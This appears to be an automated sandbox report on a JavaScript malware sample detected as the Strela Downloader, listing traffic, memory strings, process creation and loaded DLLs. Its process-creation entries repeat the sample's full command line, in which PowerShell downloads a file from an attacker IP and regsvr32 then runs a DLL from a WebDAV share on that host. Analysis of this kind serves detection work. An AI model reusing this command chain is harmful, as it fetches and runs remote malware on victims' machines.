Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1685906949.0000015FD72F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1749700773.0000020D21E98000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1749067286.0000020D21EEE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1749246142.0000020D21ED3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1749758845.0000020D21EEF000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1749758845.0000020D21ED3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000003.1749246142.0000020D21ED3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1749758845.0000020D21ED3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/T
Source: net.exe, 00000006.00000002.1749700773.0000020D21E98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/c
Source: net.exe, 00000006.00000002.1749700773.0000020D21E98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/spacez
Source: svchost.exe, 00000008.00000002.2970690135.000001CF16C00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 00000008.00000003.1764210558.000001CF16E18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1764210558.000001CF16E18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1764210558.000001CF16E18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1764210558.000001CF16E4D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1764210558.000001CF16EC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1764210558.000001CF16EC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1764210558.000001CF16EC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 2492, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 26448249042746730897.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/62@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2260:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_apqeui3p.32y.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\26448249042746730897.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1744,i,6970937415629293393,4923579797717251566,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4135326891302.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1744,i,6970937415629293393,4923579797717251566,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
